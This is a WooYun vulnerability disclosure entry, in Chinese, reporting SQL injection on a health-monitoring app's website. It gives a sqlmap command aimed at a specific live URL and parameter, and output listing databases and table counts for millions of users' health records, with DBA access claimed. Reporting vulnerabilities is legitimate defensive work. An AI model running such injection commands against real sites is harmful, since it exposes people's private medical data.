乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-05-08: 细节已通知厂商并且等待厂商处理中 2016-05-09: 厂商已经确认,细节仅向厂商公开 2016-05-19: 细节向核心白帽子及相关领域专家公开 2016-05-29: 细节向普通白帽子公开 2016-06-08: 细节向实习白帽子公开 2016-06-23: 细节向公众公开
RT 厂商大哥 app加waf pc没加哦
注入点:sqlmap.py -u "http://www.xueyazhushou.com/info/infocontent.php?info_id=1" -D tijianshi --count --tables
数据库信息
available databases [5]:[*] amh[*] information_schema[*] mysql[*] performance_schema[*] tijianshi
当前库表信息
Database: tijianshi+---------------------------+---------+| Table | Entries |+---------------------------+---------+| loveand_emo | 5008927 || loveand_bloodPressure | 4741975 || loveand_heartRate | 4306167 || loveand_oxygen | 3947519 || loveand_kkk | 3768803 || loveand_wave | 2539251 || loveand_emoCoin | 1377344 || loveand_coin | 1332896 || loveand_lungsBreath | 725240 || loveand_users | 724432 || loveand_stepCounter | 627474 || loveand_device | 560664 || loveand_bloodPressureCoin | 552874 || loveand_heartRateCoin | 534761 || loveand_oxygenCoin | 495911 || loveand_kkkCoin | 474414 || loveand_waveCoin | 474335 || loveand_breathRate | 464993 || loveand_push | 460668 || loveand_visionValue | 390168 || loveand_listen | 308340 || loveand_visionSemang | 278497 || loveand_weight | 254260 || loveand_stature | 253355 || loveand_user_fix_hand | 151242 || loveand_xinliYiyu | 148954 || loveand_visonSeruo | 146770 || loveand_bmi | 131925 || loveand_visionSemangCoin | 107117 || loveand_lungsBreathCoin | 77208 || loveand_visionTrain4 | 63898 || loveand_msg | 63851 || loveand_visionTrain2 | 56345 || loveand_visionTrain7 | 56038 || loveand_bloodPressTrain2 | 51639 || loveand_visionTrain3 | 50462 || loveand_visionTrain5 | 49252 || loveand_xinliKangya | 48788 || loveand_visionTrain1 | 47949 || loveand_visionValueCoin | 46934 || loveand_xinliZibi | 45150 || loveand_coinGain | 42592 || loveand_visionCoin4 | 42334 || loveand_visionTrain9 | 39516 || loveand_visionTrain6 | 36845 || loveand_visionCoin5 | 32972 || loveand_listenCoin | 32397 || loveand_visionCoin7 | 32212 || loveand_visionTrain8 | 32121 || loveand_visionCoin1 | 31517 || loveand_temperature | 31273 || loveand_visionCoin2 | 31125 || loveand_visonSeruoCoin | 31020 || loveand_comment | 29835 || loveand_visionCoin3 | 27625 || loveand_weightTrain1 | 23881 || loveand_news | 23798 || loveand_xinliYiyuCoin | 21680 || loveand_visionCoin6 | 21120 || loveand_visionCoin9 | 20779 || loveand_visionCoin8 | 20163 || loveand_user_bind | 19574 || loveand_bloodPressTrain1 | 19063 || loveand_info_comment | 17747 || loveand_weightCoin1 | 17726 || loveand_user_notice | 15112 || loveand_listenTrain1 | 12164 || loveand_xinliKangyaCoin | 10889 || loveand_bloodPressCoin1 | 8643 || loveand_coin_store | 8331 || loveand_listenTrain2 | 7817 || loveand_xinliZibiCoin | 7731 || loveand_listenCoin1 | 7161 || loveand_listenTrain4 | 6349 || loveand_listenTrain3 | 6190 || loveand_listenTrain5 | 5942 || loveand_listenCoin2 | 5353 || loveand_listenCoin4 | 4501 || loveand_listenCoin3 | 4493 || loveand_listenCoin5 | 4311 || loveand_feedback | 3133 || loveand_user_fix | 2885 || loveand_user_msg | 2832 || loveand_weightTrain2 | 1393 || loveand_user_friends | 1365 || loveand_info | 1299 || loveand_weightCoin2 | 1184 || loveand_blacklist | 193 || loveand_user_fix_cal | 157 || loveand_user_family | 51 || loveand_infoclass | 15 || loveand_newsclass | 7 || loveand_banner | 4 || loveand_admin | 2 || loveand_push_sys | 1 || loveand_weixin | 1 |+---------------------------+---------+
垮裤查询
Database: amh+------------+---------+| Table | Entries |+------------+---------+| amh_config | 9 || amh_login | 9 || amh_log | 8 || amh_ftp | 1 || amh_host | 1 || amh_user | 1 |+------------+---------+
dba权限
过滤
危害等级:高
漏洞Rank:20
确认时间:2016-05-09 10:19
自学php3个月,被打脸系列2
暂无